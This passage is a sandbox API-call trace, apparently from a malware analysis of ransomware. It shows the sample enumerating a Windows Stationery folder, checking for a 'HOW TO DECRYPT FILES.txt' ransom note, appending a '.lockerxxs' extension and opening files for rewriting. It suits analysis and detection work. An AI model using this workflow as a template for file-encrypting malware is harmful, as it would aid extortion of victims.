(x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.415] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.415] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Bears.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" [0076.415] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", pszSpec="*.ems") returned 0 [0076.415] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" [0076.415] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" [0076.415] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg." [0076.415] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg.lockerxxs" [0076.415] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.415] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x81305af3, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x285, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.ini", cAlternateFileName="")) returned 1 [0076.415] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.415] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Desktop.ini") returned 1 [0076.415] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Desktop.ini") returned 1 [0076.415] lstrcmpiA (lpString1="", lpString2="Desktop.ini") returned -1 [0076.416] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned="Bears.jpg" [0076.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.416] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.416] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.416] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.416] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Desktop.ini" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" [0076.416] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Desktop.ini", pszSpec="*.ems") returned 0 [0076.416] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41e73264, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x74002e, dwReserved1=0x740078, cFileName="Garden.htm", cAlternateFileName="")) returned 1 [0076.416] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.416] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.htm") returned -1 [0076.416] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.htm") returned 1 [0076.416] lstrcmpiA (lpString1="", lpString2="Garden.htm") returned -1 [0076.416] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned="Desktop.ini" [0076.416] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.416] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.416] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.416] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.416] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Garden.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" [0076.416] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", pszSpec="*.ems") returned 0 [0076.417] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" [0076.417] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" [0076.417] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm." [0076.417] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm.lockerxxs" [0076.417] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.417] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4216cde4, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x4216cde4, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x82780ebc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1 [0076.417] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.417] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Garden.jpg") returned -1 [0076.417] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Garden.jpg") returned 1 [0076.417] lstrcmpiA (lpString1="", lpString2="Garden.jpg") returned -1 [0076.417] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned="Garden.htm" [0076.417] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.417] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.417] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.417] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.417] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Garden.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" [0076.417] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", pszSpec="*.ems") returned 0 [0076.418] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" [0076.418] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" [0076.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg." [0076.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg.lockerxxs" [0076.418] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.418] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41ebf524, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1 [0076.418] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.418] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Green Bubbles.htm") returned -1 [0076.418] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Green Bubbles.htm") returned 1 [0076.418] lstrcmpiA (lpString1="", lpString2="Green Bubbles.htm") returned -1 [0076.418] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned="Garden.jpg" [0076.418] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.418] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.418] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.418] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Green Bubbles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" [0076.418] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", pszSpec="*.ems") returned 0 [0076.419] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" [0076.419] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" [0076.419] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm." [0076.419] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm.lockerxxs" [0076.419] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.419] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x827cd17c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x0, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1 [0076.419] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.419] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="GreenBubbles.jpg") returned -1 [0076.419] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="GreenBubbles.jpg") returned 1 [0076.419] lstrcmpiA (lpString1="", lpString2="GreenBubbles.jpg") returned -1 [0076.419] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Green Bubbles.htm") returned="Green Bubbles.htm" [0076.419] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.419] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.419] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.419] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.419] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="GreenBubbles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" [0076.419] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", pszSpec="*.ems") returned 0 [0076.419] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" [0076.420] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" [0076.420] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg." [0076.420] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg.lockerxxs" [0076.420] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.420] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42192f44, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0x42192f44, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0x41f0b7e4, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1 [0076.420] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0076.420] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Hand Prints.htm") returned -1 [0076.420] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Hand Prints.htm") returned 1 [0076.420] lstrcmpiA (lpString1="", lpString2="Hand Prints.htm") returned -1 [0076.420] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned="GreenBubbles.jpg" [0076.420] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" [0076.420] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\" | out: pszPath="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\") returned="" [0076.420] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" [0076.420] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\how to decrypt files.txt")) returned 0x20 [0076.420] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\", lpString2="Hand Prints.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" [0076.420] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", pszSpec="*.ems") returned 0 [0076.421] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" [0076.421] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" [0076.421] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm." [0076.421] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.lockerxxs") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm.lockerxxs" [0076.421] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0076.421] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421b90a4, 